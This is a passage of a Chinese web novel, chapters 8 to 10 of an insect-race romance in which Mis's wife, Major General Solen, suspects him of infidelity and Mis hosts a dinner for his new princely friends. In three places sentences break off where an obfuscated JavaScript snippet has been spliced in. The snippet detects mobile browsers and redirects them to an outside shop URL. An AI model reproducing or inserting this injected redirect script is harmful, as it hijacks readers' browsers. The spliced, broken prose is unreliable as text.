弥斯虽然受到了惊吓,但是内心的喜悦是遮不住的,他一直渴望有个温馨的小家。 “少将,你在等我吗?” 雄虫真是贪婪,一边和外面的虫纠缠不清,一边又奢求自己对他一心一意。 索伦的眼中闪过一丝讽刺,他竟然还真的相信雄虫没有做什么出格的事情,但现在已经晚上九点了,整整一个下午,一雄一雌不知道已经做了多久的腌臜事。 怪不得雄虫好像总是不太热衷于这种事情,估计是因为那只虫在床上的花样更多,比他更有趣吧。 “怎么不让你的‘朋友’进来坐坐?” “……” “我刚刚没想到。” 弥斯刚刚一心想着自己回来晚了,少将可能会等得有些着急,完全忘记邀请桑因阁下来家里坐坐。 “算了,不太合适。” 现在已经很晚了,更何况周六是他们两只虫的做那种事的日子,怎么能邀请朋友进家呢,真是想想都能羞死。 索伦没想到雄虫在外面鬼混回来之后,竟然还这般理直气壮的,雄虫难道是觉得他是军雌,就要忍耐雄主纳侍吗? 呵,索伦你在期待什么? 期待雄虫会像他一开始说得那样,只有雌君就够了吗? 小六:【宿主,少将好像是误会了】 弥斯:【嗯】 弥斯:【他和主角见面了?】 小六:【还没有】 弥斯:【那他为什么突然这样】 小六:【卡尼在军部门口见到了你和路西法殿下】 原来如此,看来剧情的力量十分强大,弥斯猜测估计等到下周,少将就要和主角相遇了。 8. 第 8 章 卡尼上尉一直觉得少将的雄主是喜欢他的,不然怎么每次来给少将送饭的时候,都会特意给他送一份呢? 如果仅仅是因为索伦少将的关系,和少将亲近的雌虫也不止他一只,所以雄虫肯定是有私心的。 弥斯阁下迟迟不提纳他为雌侍的事情,估计是顾念着少将当年在战场上救他的恩情,不过他愿意等。 卡尼像往常一样,从雄虫那里拿到属于他的那一份午餐,惊讶地发现这次的餐盒竟然不是一次性的,难不成这是雄虫的暗示? 搞不明白情况的他决定在门口等待雄虫,没想到就看到弥斯和路西法殿下拉拉扯扯,显然已经认识一段时间了。 卡尼自然要把这件事情告诉索伦少将,虽然这对他好像没什么威胁,但是以路西法殿下的身份,估计不会甘于做雌侍。 误会往往就是这样产生的,但归根结底,还是对伴侣的不了解和不信任。 索伦听到这个消息的时候,完全没有质疑这件事情的真实性,反而有种果真如此的尘埃落定的感觉。 所以,现在的索伦该说什么呢? 感激雄虫还没有忘记回家,还愿意给他做精神疏导,还是哪怕如此也没有提更换雌君的事情。 弥斯好像没有察觉到少将在生气,他们相处的大多数时间里,少将都是这种表情,他很难意识到今天有什么不同。 “少将,该去睡觉了。” 弥斯走过来握住少将的手,想把虫往卧室里带,他不喜欢在客厅,虽然家里只有他们两只虫,但是客厅实在是太空旷了,没有任何隐私,总是让他觉得十分没有安全感。 精神疏导对于雌虫来说至关重要,所以不管弥斯多忙,都会在周六这天回到家中,少将救了他,他不希望少将的身体出现任何问题。 他们相遇的时候,索伦少将已经五十几岁了,在虫族平均寿命达到三百多岁的生命里,十分年轻。 但是少将当时的精神海状况十分不好,那段时日弥斯几乎是每天都要进行灌溉,直到少将逐渐好转。 哪怕是少将的精神海已经完全稳定,弥斯依旧勤勤恳恳地灌溉,他生怕一时不慎,少将的精神海又重蹈覆辙。 但好在少将每个月的体检报告都十分良好,反倒是他自己有些低血糖,不过他是雄虫,是一家之主,这点小事自己就可以解决,不需要再麻烦少将了。 少将很忙,每天都在处理公务,偶尔还要出征几个月,弥斯作为有担当的雄主,自然不会让他为了这种小事烦心。 弥斯一直以来都十分崇拜索伦少将,军雌虽然冷硬了一些,但是做得事情是十分伟大的。 索伦第一次觉得弥斯实在是恶心,哪怕是低等级的雄虫也不会在宠爱了陌生雌虫之后,面无表情地回到家继续拉着雌君快活。 “不用了,今天你也累了。” 索伦站起身就回房了,他和雄虫实在是没什么好说的了。 “或许,你可以邀请你的‘朋友’来家里坐坐。”这样他也可以早点认清现实地搬出去,倒时候就算是被休弃也不算闹得十分难看。 弥斯往嘴里塞了几块点心,试图思索少将话中的深意。 先是关着灯等他回家,然后话里话外教他怎么和朋友相处,刚刚还关心他回来的这么晚太累了,甚至连精神疏导都不愿意麻烦他,最后一句话都还是在关心他的朋友。 少将是不是在心里认可他了,不好意思直接说,所以只能通过关心他来表达感情。 这是不是就是小说里常见的傲娇,弥斯觉得自己完全懂了,现在唯一的问题是傲娇一般要配小太阳一般的主角,而他…… 弥斯攥紧拳头,没关系的,他一定可以通过自己的努力,拥有一个温馨的小家。 稍微吃了点甜品垫了肚子之后,弥斯就起身回房了,果然少将还没睡,他去浴室简单收拾了一下,就…… 索伦在心里不断厌弃自己,明明雄主都做了这样的事情,竟然还不舍得拒绝,果然他就是贱。 周日, 弥斯把少将的话放在了心上,他开始思考邀请朋友来家里的花销和礼物。他打算做几个小的摆件,不知道他们会不会喜欢。 此外,弥斯还有做一个大的摆件去卖,因为他现在的星币不太够,桑因阁下家里的餐食至少让他知道了和朋友之间的差距。如果想招待周全的话,还是要多做些准备。 虽然时间紧任务重,可弥斯一想到自己已经拥有了,一、二、三、四个朋友,所有的烦恼好像都一扫而空。 路西法最近发现弥斯好像特别忙,具体表现在雄虫的生活已经完全乱套了。 弥斯平日里就像只机器虫,如果不下达指令,就会一直按着同一条逻辑运行,所以他的一日三餐和生活轨迹十分简单。 路西法不知道这个周末到底发生了什么,导致弥斯完全陷入了一个新的逻辑闭环了,这让他有种失控的感觉。 尤其是当他看到弥斯带着帽子口罩卖工艺品的时候,这种感觉更盛,甚至隐隐地促使他想把雄虫抓回去,关起来。 可是,当路西法看到雄虫亮亮的眼睛时,又有些恍惚,如果他真的这样做了,这么明亮的眼睛是不是就会黯淡下来。 弥斯紧赶慢赶地忙活了一周,成功赶在周五把礼物和拿来卖的东西做好了。 他下午请了假,带着做好的一只狸花猫来到了拍卖会。 没错,是狸花猫,赫克斯没有猫狗,所以猫猫狗狗的设计特别受欢迎。而且因为虫族崇尚武力,狸花兼顾了可爱和力量,可谓是在异世界大放光彩。 不过这次因为时间太紧了,做得比较卡通,不知道能不能卖个好价钱。 弥斯等了好久,终于到他的展品了,三千起拍,只要有虫拍,这周的资金就够了。 他现在的条件确实没办法做得和上周桑因阁下家里的那顿一样丰盛,但他尽量做出他能力范围之内最好的。 不过这次的价格高得有些出乎意料,整整三万六千星币,实在是太高了,扣除10%的手续费之后,到手还有三万两千多呢。 路西法透过一层薄纱看着雄虫高兴的模样,心里不停地翻着酸水,为了那虫,甚至愿意浪费时间做这个拿来卖钱吗? 那只少将怎么这么没用,竟然还要靠雄虫来补贴家用,好歹是少将,真没用。 路西法向来只关注雄虫,也没了解到今日的拍品里还有一只“雄虫”。 “接下的物品就是本次拍卖会最重磅的拍品,一只‘雄虫’,想必在座的各位,不少都是为了他而来,是以,我也不再多做介绍,但是最新的处罚结果已经出来,这只虫已经沦为罪奴,帝国将不再保护他的虫权。” “十万起拍,请出价!” 弥斯打算离开的身影顿住了,一只被拍卖的雄虫,他突然有些恐惧,小说中不会平白无故地出现一个新的剧情,所以这是什么征兆吗? “你好,请问这只雄虫有什么特别的吗?” 旁边的虫看到一只亚雌心里嫌弃,自然不想理他,而且这虫神神秘秘的带着面纱,说不准是什么犯了罪的虫。 当然,弥斯之所以能伪装成功,自然不是靠精妙的伪装技术,小六在功能性方面还是十分万能的。 路西法时时刻刻关注着雄虫,这会儿看他神情恍惚,自然也顾不上隐藏,假装巧合的朝着他走过去。 “弥斯,你怎么也来了,是有什么东西要拍卖吗?” 弥斯太害怕了,以至于他根本没有多余的心情去思考路西法为什么突然出现在这里。 “路西法,你知道这只雄虫为什么被拍卖吗?” 路西法抬头看了一眼台上,虽然没有提前了解,但是看到那只“雄虫”的脸之后,就立刻想明白了,对于这种轰动星网的消息他还是知道的。 “因为他不是雄虫,他是一只亚雌,伪装成雄虫骗取高额的社会福利,更重要的是,他把真正的雄虫囚在家里八年,确实罪孽深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627992|187969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重。” 纵观帝国历史,也只有这么一只亚雌敢这么做,太猖狂了,这也是帝国第一次明面上支持虫口买卖,必须要让帝国的子民们知道:雄虫的尊严不能被践踏,雄虫的利益高于一切。 弥斯松了一口气,他太紧绷了,一点风吹草动都能让他联想到不好的事情。 “谢谢你,路西法。” 路西法知道雄虫还没缓过神,但是这里虫多眼杂,为了不引起暗中的虫的注意,他也不能在这里待得太久。 两虫很快就彼此告别,大家都有事情要忙,弥斯目送他离开之后,突然想到聚会的事情好像忘记邀请路西法了。 弥斯有些心虚地往外走,现在邀请也来不及了,他没时间准备礼物了。 对不起,路西法,希望这次你不会知道。 拍卖会的登记员早就注意到这只雄虫阁下了,杀千刀的,到底是哪只没用的雌虫,还要靠雄虫出门卖东西赚钱。 登记员不知道的是,拿来的拍品甚至也是雄虫自己做的,不然宣传一下,肯定能卖出天价。 弥斯开心地离开了,回家的途中甚至还去买了一个小蛋糕奖励自己。不过他没有立刻吃,家里很少买这种东西,他想和少将一起分享。 雄虫这周很忙碌,索伦少将也认识了一个新“朋友”——维克尔。 一开始注意到维克尔,是因为他有着和雄主一样的黑发,后来在军部的食堂再次遇到,黑发雄虫和拉斐尔中将一同用餐,真是一只与众不同的雄虫。 帝国的雄虫向来骄矜,从来不会踏足食堂这种地方,而维克尔阁下不但进来了,而且真的和军雌吃得一样,没有一点架子,对每一只军雌都一视同仁。 当然,这本来和索伦没有什么关系,他是有雄主的军雌。 “你好,你是索伦少将?” 维克尔朝他走了过来,说实话,这只阁下长相上十分普通,这可能是因为他仅仅只有B级。 B级雄虫当然也十分稀少,可索伦的雄主是S级雄虫,自然会觉得维克尔阁下的等级有些低了。 可雄虫阁下的问话怎么能不回呢。 “是的,请问阁下有什么吩咐?” 索伦少将的回复虽然十分官方,但依旧没有阻挡维克尔的热情。 “我前几天见过弥斯,在飞行器展览会上。” 索伦的神情放松了一点,谈及雄主,他的内心总是会更柔软一些。 “但是,他好像惹怒了桑因殿下,我有心帮忙解围,可惜我等级太低了,除了让自己受伤,什么都帮不到他。” 维克尔阁下的神情十分失落,可以看出他真的在为没有帮到雄主而感到愧疚,但明明和他没有任何关系。 “阁下,你已经尽力了,我代表弥斯向你表达感谢。” 桑因冕下的事迹,帝星里的虫哪怕再不关注也多少知道点,弥斯碰到他肯定会吃大亏的。 索伦想到这里,眉头紧皱,雄主最是胆小软弱,想必当时应该吓坏了。 维克尔有些震惊地说:“弥斯和你说了?” “也对,他当时那么害怕,如果没有你的陪伴,又该怎么缓解那份恐惧呢?” 索伦的脸色一下子变得很难看,对啊,弥斯是怎么缓解的呢? “阁下是什么时候碰到弥斯的?” “就9月15号那天的飞行器展览会。” 维克尔阁下的脸上写满了不解,似乎是不理解为什么他身为雌君,为什么好像对这件事一无所知。 “谢谢你,阁下,我还有事,先走了。” “虫神保佑。” 索伦被那道视线看得心慌,好想他是什么不称职的雌君一样。他太慌乱了,连带着在面对一只雄虫阁下的时候,都忘记了贵族的礼仪。 雄主肯定十分害怕,但是回到家之后却什么都没说,表情平淡,像是什么也没发生过,那他告诉谁了呢。 小六:【宿主,少将见到主角了】 9. 第 9 章 弥斯坐在沙发上等少将回来,他向来乖巧,哪怕是坐在柔软的沙发上,背脊也挺得笔直,双腿微微敞开,手放在膝盖上,就那样乖乖坐着。 听到开门声的时候,弥斯眼睛都亮了一些,不过等看清少将的脸色和眼神时,弥斯控制不住身体地抖了两下,这样恐怖的少将让他想起了一些不好的回忆。 没关系的,不要怕,这是索伦少将,是你的救命恩虫,他只是不太开心,不会对你做什么。 索伦看到雄主坐在沙发上的时候也愣了一下,他确实十分烦躁,但并不想发泄到雄主身上,所以他急忙调整了表情,只不过好像还是吓到他了。 索伦走过去,蹲下身,尽可能温柔地说:“弥斯?” “怎么坐在这里?” 雄虫的呼吸骤然凝滞,全身肌肉紧绷,下唇被咬得发白,手紧紧攥住腿上的裤子。 怕少将看出他的恐慌,弥斯明明嘴唇都吓得发抖,偏偏还要故作镇定地说:“我,我买了蛋糕,你要尝尝吗?” 真是掩耳盗铃啊,路西法不比他凶吗?索伦本来还想说些什么,但是看雄虫怕得厉害,叹了口气。 “嗯。” 索伦看了一眼那个蛋糕,小小的,虽然不是很喜欢吃,考虑到是雄主的要求,他还是两三口吃完了。 “别怕了。” 真是拿雄主一点儿办法都没有,索伦本来还在生气,现在看他这个样子,真是一点儿脾气都没有了。 “对不起。” 弥斯的声音已经有些沙哑了,他心里清楚少将不会对他动手,可那种厌恶的眼神射向他时,还是会忍不住地心慌。 “没什么值得道歉的。” 索伦伸手把他抱在怀里,试图用温暖的环抱让雄虫放下戒备。 过了良久,弥斯总算是冷静了下来,但是清醒之后,羞耻心瞬间涌了上来,小脸憋得通红。 雄虫支支吾吾地说:“那个……那个……” 索伦将雄虫搂得更紧了,这还是他第一次见到雄虫这么生动的表情,这是不是也说明他们两只虫的心离得更近了呢。 可他知道,不管怎么粉饰太平,他们都回不到从前了,他和路西法,雄主只能选择一只。 路西法作为帝国的皇子殿下不会甘心做雌侍,而他,又岂会甘心从雌君降到雌侍呢。 就是不知道,他现在怀里的这只雄虫,最后到底会选择谁呢。 “少将,你周日有空吗?” 弥斯有些紧张,这还是他第一次打扰少将工作,不知道少将有没有时间。 总算还是来了吗?挺好的,至少雄虫没有选择欺瞒他,也算是只不错的雄虫。 索伦松开了雄虫,缓缓开口,“我有时间。” “已经很晚了,先休息吧。” 少将上楼了,果然还是不开心吗,弥斯还没想明白少将为什么生气,视线收回来的时候落在了被吃完了的蛋糕上…… 小说里果然都是骗人的,雌虫才不会和雄虫温馨地分食一块小蛋糕,蛋糕这么小的份量,两三口就吃完了,骗子,小说作者都是骗子。 弥斯在心里简单发泄完情绪,就开始邀请桑因他们来家里做客。几只虫虽然回复的晚了一些,但好在都答应了。 虽说聚会的日子定在了周末,但弥斯真的有些闲不下来,少将还不许他去送饭,这导致周六这天,弥斯的精力过于旺盛,只能自己给自己找点事情做发泄一下精力。 他先是把家里全部擦了一遍,这并不轻松。 索伦少将的资产十分雄厚,他们居住的这幢独栋小别墅,不但位于帝星的中心地段,而且距离军部十分近,这也只是少将资产的冰山一角。 索伦是标准的大家族出身,他所在的罗斯蒂亚家族是帝星的老牌贵族,家族势力庞大。尤其是主虫巴尔福冕下,在S级觉醒时,就被兰切斯特·莱本西亚虫皇殿下亲自授予公爵称号,之后的五十年里,更是领导罗斯蒂亚成为诸多皇子争夺皇位不可忽视的强大助力。 弥斯当初之所以选择缔结婚约这种“报恩”方式,中间就有不少巴尔福冕下的撮合,毕竟按照弥斯的想法,他完全配不上索伦少将,这甚至称得上恩将仇报。 彼时的雄虫并不清楚一只S级的雄虫对帝国来说意味着什么,直到现在,生活老派、有点社恐的弥斯好像依旧不清楚在这个以雄为尊的赫克斯,他的等级可以为他带来什么。 弥斯感激索伦少将在小星球救了他的性命,感激帝国收留了他这只没有身份的雄虫,并给予了他新的名字,如今得到的这些,对于弥斯来说,已经像做梦一样了。 或者说,弥斯真的怕这就是一场梦,所以他总是尽可能地降低自己在这个世界的存在感,避免和别虫发生冲突,借以保护自己。 直到那天碰到桑因阁下,意识到他切切实实地穿进了一本书里,这个世界对他来说变得真实了,不管是炮灰还是什么,总会有了属于他的戏份,不会被世界意识轻易抹杀掉了。 直到客厅被擦得锃光瓦亮,弥斯才停下手,不用送饭的周六竟然有这么多的时间可以用来消磨,他简单吃了几口午饭,又跑过去给准备好的礼物再进行一次更加细致的打磨抛光。 哪怕是如此,弥斯依旧没有熬到晚上,没办法,他只能到家里的健身房做几组无氧,直到累得筋疲力竭,躺在地上喘着粗气,他才停下来。 索伦少将今日依旧黑着脸来到军部,他第一次发现周六这么难熬。 中午的时候,雄主竟然没有来送饭,这是从未发生过的事情,索伦的脸色变得更加难看,竟然为了路西法已经连遮掩一下都不愿意了吗? 心中有火气的军雌自然不能失控地回家质问雄虫,索伦第一次在工作时间去了训练场。 “吼!吼!吼!” 一声声野兽般的嘶吼在训练场里炸开,硬生生把索伦的思绪拉到了赤身肉搏的血气上,他定了定视线,一只仅着军裤,浑身腱子肉的军雌正在和拉斐尔中将对峙,这倒是难得一见的看头。 这只军雌竟然只是一名少尉,竟然能和中将打得有来有回,每次发力,颈侧、额角的青筋都暴凸出来,如同扭曲的蚯蚓,不甚美观。 这只军雌正是霍普,他出身较低,故而哪怕是S级的军雌,也仅仅是个少尉,不过看到这场较量的虫都相信,他绝不会止步于此。 这场较量的开始也十分戏剧化,霍普作为维克尔阁下的雌侍,向来看不惯那些贵族虫,再加上他生性鲁莽,所以看到一只未婚军雌竟然和他的雄主拉拉扯扯,心生火气上前挑衅。 拉斐尔除了是一名中将,还是维克尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627993|187969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阁下的追求者,所以不得不应下这场自降身价的比赛,可现在竟然打得有来有往,他的脸上自然有些挂不住。 只见拉斐尔骤然严肃了几分,左手成爪,一个闪身就出现在霍普身后,利爪牢牢嵌入他的左肩,这是霍普的弱点。 霍普只能停下动作,除非放弃自己的左臂,不然确实没有还手的余地了。 “霍普少尉!” 只见拉斐尔中将手指伸直并齐,举起右手,指尖接触帽檐右侧,真是不可思议,中将竟然主动向这只只是少尉军衔的军雌敬礼。 本来还觉得在心上虫面前输掉有些丢虫的霍普,此时也恢复了些许理智,意识到眼前这只是帝国身经百战、功名赫赫的中将。 两只虫你来我往间,除了酣畅淋漓的战斗带来的亢奋之外,还多了几分惺惺相惜的情谊。他们同为帝国的战士,亦同样是维克尔阁下的追求者。 维克尔一开始自然也十分关注战况,霍普是原身一起长大的竹马,拉斐尔是他看好的未来雌君,这两只虫发生争执,是他不愿意看到的。 维克尔还是一只B级雄虫崽,没错,他还没有觉醒,不过应该也是最近的事情了。如果没有遇到索伦少将,他或许真的就选择拉斐尔中将作为雌君了。 但是,很明显,索伦少将更加年轻,更加富有,家族势力更为庞大,那么低等星出身的拉斐尔中将或许就不是他的最优选了。 “索伦少将,你怎么到这里来了,我以为你会在办公室呢。” 恰到好处的关心可以快速拉近彼此之间的距离,这个道理到了赫克斯也依旧适用。 “散心。” 索伦没有想到这只阁下竟然会关心他的举动,真的是十分温柔的雄虫。 “有什么烦心事吗?当然,如果不想说也可以不说。” 维克尔体贴地笑了笑,他语气里的温柔和边界感,非常容易使得这种本身就大大咧咧的军雌放下防备。 “一些私事,不方便多说。” 和弥斯一样,索伦少将也不喜欢向别的虫讲解自己的家事。 “非常理解,弥斯最近怎么样,自从那件事之后,一直想去探望他,但因为没什么理由,也怕唐突了你们,所以迟迟没有行动。” 说完,维克尔还有些羞涩地低下头,微微抿住唇,带着点忐忑地说:“索伦少将,你会觉得我这样只口头关心,但没有实际行动的雄虫,会不会有点虚伪?” 雄虫明明是在意弥斯的看法,但因为胆怯却只能小心翼翼地询问他,实在是让虫不忍心让他伤心。 正好弥斯要邀请“朋友”来家里聚会,索伦一时冲动,竟然邀请维克尔阁下来家中做客。 话说出嘴的瞬间,索伦就后悔了,但是看着雄虫开心地应允,他想解释的话也实在是说不出来,最终只潦草的应对一番就离开了。 这对维克尔来说是一个非常好的消息,至少他看明白了一件事,索伦和他的雄主有隔阂,这倒是一个趁虚而入的好机会。 就是不知道要怎么操作,才能功利性没那么强呢,啧,真是麻烦,要是能穿成联盟的雄虫就好了,至少那里的雄虫又蠢又懒,而且十分暴戾,他在那边才能更加如鱼得水。 帝国的雄虫太聪明了,维克尔一步不慎就容易受伤,实在是太累了。 10. 第 10 章 翌日, 弥斯在欢快地准备餐食,因为不清楚大家的口味,所以清淡的、重口的、汤汤水水的,都尽可能准备的样式多一些。 直到感觉桌子应该放不下了,才意犹未尽的停了下来。 “少将,你有什么想喝的吗?” 雄虫从厨房里探出个小脑袋,脸上被热气腾得发红,看起来就十分滋润的模样。 “都行。” 索伦明显表现的就十分平淡了,他内心十分紧张,为着随时可能会到来的维克尔阁下。 不知为何,索伦隐隐觉得雄主可能没那么喜欢那只温柔的雄虫。 “那就苹果汁吧,酸酸甜甜的,很好喝。” 弥斯整只虫呈现出了异于寻常的兴奋,连带着话都多了许多。 甚至连带着昨晚的繁衍工作都卖力了许多,说来也怪,明明他们每周都没有落下,但是直到现在,少将也没能怀上蛋。 弥斯怀疑自己不行,等他和少将关系再亲近一些,他就去医院检查一下。 虫族特别重视繁衍,如果他不行,恐怕立刻就会被少将嫌弃,这太可怕了,弥斯暂时不太能接受被抛弃。 “少将,你的那个朋友喜欢喝什么?” 雄虫什么都不知道,所以还如此开心地问着“朋友”的消息。 少将有些心虚,不太想回答这个问题。 “弥斯,你自己准备就好了,不要那么在意别虫的口味。” 雄虫沉默了,连带着脸上的红润都淡了几分。索伦也反应过来他好像语气有点过分了,这是雄主三年来第一次带朋友回家,不管是不是路西法,都不应该这么打击雄虫的积极性。 “和我一样就行,我也不太了解。” 弥斯点点头,回到厨房,之后就没有再探头出来了,他可能有点太兴奋了,以至于有些打扰到少将了。 12点左右,桑因他们提前到了。 幸好弥斯因为开心,所以准备的早,倒也不至于手足无措。 索伦愣住了,怎么是雄虫,不应该是…… 弥斯偷偷戳了戳少将,虽然可能会惹得少将生气,但是在朋友面前,他还是希望少将能礼貌一些。 “阁下,日安!” 受到刺激的少将维持不住脸上的淡定,他的问好实在是有些突兀,哪怕是弥斯脾气再小,也难免对少将的表现有些失望。 这是他的朋友,少将虽然平日里冷漠一些,但是在他朋友面前为何依旧如此,好歹,好歹他们也是最亲近的虫啊。 “对不起,他这几天心情不好。” 弥斯不会说谎,也不会给虫打圆场,所以这一句就已经用尽了他所有的力气。 桑因眼神复杂地瞥了一眼旁边的雌虫,实在是不上台面,也就弥斯可以容忍这样的虫作为雌君。 “没关系,不用在意。” 蒂安虽然不喜,可毕竟他是客虫,而且他确实挺喜欢弥斯。 “你雌君的朋友到了吗?” “还没有,约好的是1点。” “嗯,那先带我们参观一下吧,不是说准备了礼物吗?快快,带我们去看看,好期待。” 弥斯总算又开心了起来,或许他没必要这么紧张,朋友不就是会互相体谅的吗? 艾瑞斯有些无奈,他连续两周参加聚会已经属于十分浪费时间了,作为大法官,他平日里的工作堆积如山,愿意出门真的是很重视了。 蒂安这只虫也不知道在激动什么,吃顿饭而已,这虫从早上8点就开始催,现在又提前到了,真是的,没看出来弥斯刚见到他们的时候,十分紧张吗。 “这是我平日里做工的地方,有些小,但好在采光还不错,我还挺喜欢的。” 别墅虽然很大,但毕竟是少将的房子,所以平日里弥斯除了卧室、客厅、厨房,也就会去健身房和这里了。 “太小了吧!” 蒂安简直震惊了,这地方甚至没有他家里雇的雌奴的房间大,不敢想象这是一只S级雄虫待得地方。 “蒂安!” 桑因制止了这虫不合时宜的感慨,明明知道雄虫比较内向,还这么口无遮拦,这岂不是戳雄虫的伤疤吗? 艾瑞斯以为桑因总算是懂事了,没想到这虫扭头就拉住雄虫,以为很小声地问:“弥斯,你是不是被欺负了,不要怕,你偷偷告诉我,我会帮你的。” 弥斯略显迷茫地摇摇头,少将对他挺好的,怎么话题跳跃这么大。 一个没有任何收益的爱好,少将甚至特意为他腾出了一间房来支持他,已经是非常善良了,怎么还能要求更多。 “少将对我挺好的。” 桑因盯着他几分钟之后,绝望地摇摇头,没救了,被欺负得已经不觉得欺负了,太严重了。 弥斯感觉他们好像没信,但他笨嘴拙舌的,也不知道怎么说才能让他们信服,所幸直接略过这个讨论。 雄虫走到桌子前,拉开抽屉,然后拿出三个小盒子,南瓜头、小幽灵和骷髅头,这种奇奇怪怪又带点可爱的东西,希望他们会喜欢。 桑因率先拿走了骷髅头,这个类似头骨的小东西,确实第一时间吸引了他的注意。 蒂安拿走了小幽灵,他喜欢这种曲线,十分流畅。剩下的那个自然就归到了艾瑞斯手上,镂空不错。 蒂安继续眼巴巴的盯着他,他很好奇弥斯的生活环境,如果可以复制的话,他也想养个这么干净的雄虫崽。 “没有了,我只有这么一处可以带你们来看。” 弥斯不好意思的挠挠头,蒂安阁下的好奇真的是丝毫没有遮掩呢。 “先吃饭吧,饿了。” 艾瑞斯眼疾手快地捂住了蒂安蠢蠢欲动的嘴巴,这虫日子过得太舒心了,张嘴说不出什么好话。 等他们出来的时候,维克尔也已经到了,正不尴不尬的和索伦少将聊天,听到楼上传来的动静,下意识地抬头看过去,然后就倒霉地和桑因对视了。 “你喊他来的?” 桑因看到讨厌的虫心情瞬间就变得很糟糕,他回头看向弥斯,询问这是个什么情况。 “我不知道,应该是少将的朋友。” 弥斯急忙解释,他也不是很喜欢那只虫。 桑因心中已经信了,但是身为皇子的骄傲,不允许他认可的朋友和这只虫有联系。 “我不喜欢他,你也不许喜欢。” 弥斯点点头,他也不是和谁都交朋友的。 “索伦少将,看起来你和这只B级雄虫关系非浅啊。” 弥斯没想到桑因下楼第一件事就是发表一些反派言论,实在是太敬业了。 “桑因……” 弥斯小幅度地拽了一下站在他身前的雄虫的衣角,但随之而来的是蒂安更大力地拽了他一把。 弥斯往后踉跄了几步靠在了艾瑞斯的怀里,“怎么了,艾瑞斯?” 显然,雄虫误会是他拽的。 艾瑞斯斜了一眼蒂安,这虫又在装傻充愣,真是让虫恼火。 “没事,不用管桑因,他脾气来得快去得也快,我们先开饭吧。” “这样好吗?” 弥斯被牵着往餐桌方向走,他又有些担忧地看向那边。 蒂安转过他的脑袋,“很好。” “他都带着雄虫进家门了,你还关心他。”蒂安恨铁不成钢地谴责道。 “可是,少将说了,他们只是朋友,我也有军雌朋友。” 弥斯看起来十分不理解他们为什么对少将有雄虫朋友的事情有这么大意见,在他看来,这是很正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627994|187969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情。 “那不一样,雌虫怎么能和雄虫一样呢。” 再说了,路西法殿下也居心不良,也就这只迟钝的雄虫看不出来,啧啧,这里是赫克斯,一只雌虫接近一只雄虫,除了为了那事,还能为了什么。 “可是……” 弥斯频频回头,显然有些不放心。 “桑因阁下会不会生气,我们抛下他走了。” “不会,不用担心他。” 整个帝国还有没能让桑因受委屈的虫,蒂安坚定地摇头,笑死了,要是维克尔能做出点让桑因委屈的事情,反而方便了太多,可惜那只雄虫实在是太胆小了,只敢动动嘴上功夫。 “好吧,那你们先坐,我去把饭菜端出来。” 厨房里有恒温箱,所以刚刚没有端出来。 “家里没有亚雌吗?” 艾瑞斯有些不解,“为什么要你去?” “我不习惯家里有别的虫,所以少将就把原来的亚雌都遣散了。” 弥斯的脸都羞红了,当时他明明已经极力不表现出来不适,可没想到还是被少将发现了。 “嗯。” 蒂安表示理解,他也不喜欢家里有太多陌生虫,可无奈他家实在是太大了。 “你可以多收几只雌侍、雌奴,不然这些事情还要自己做,实在是太浪费时间了。” 艾瑞斯没有发表意见,他也赞同这个提议。 “不太好吧,我只能养得起自己。” 弥斯忙来忙去的,他们自然也不能坐着,自然要一起端。 蒂安小心提醒他,“你别让桑因知道就行,他会发疯的。” “为什么?”弥斯不解地问。 蒂安阁下的提醒实在是有些突兀,他甚至不知道到底是什么不能让桑因阁下知道。 “有什么小秘密不能让我知道的?”桑因解决完那个麻烦精,就听到这边的人在背后讨论什么小秘密。 两道声音同时响起,喜欢叽叽喳喳的蒂安瞬间沉默了,“没什么。” 弥斯用手捂住嘴,又觉得太明显,赶紧把手放下,殊不知此地无银三百两,简直是更明显了。 “弥斯,你说。” 桑因立刻调转方向看向老实的弥斯,蒂安那个滚刀肉,他不想说的说也骗不出来。 “我、我……” 雄虫支支吾吾半天,什么都没既没有解释,也没能给大家解除误会。 “桑因,先吃饭吧,不知道你们喜欢什么,所以我都做了点。” 蒂安扶额,艾瑞斯也觉得挺有意思的,桑因气炸了,他一脸不可置信。 “你!做饭?” “对啊,怎么了吗?我的厨艺应该还可以,不用担心。” 弥斯羞涩地低头笑了一下,这种自卖自夸的行为,非常挑战他的羞耻底线。 “没事,你们先吃。” 桑因气势汹汹地又转身走了,他倒要看看这只名叫索伦的少将,到底哪来的底气竟然敢虐待S级雄虫。 “怎么还是说出来了?” 蒂安有些无奈,“这下好了,这顿饭是吃不安生了。” “啊?不能说这个吗?” 看着可爱的黑色眸子里的困惑,两只虫对视了一眼,都从彼此的眼睛里看出了困惑,弥斯这种类型的雄虫真的还是太少见了。 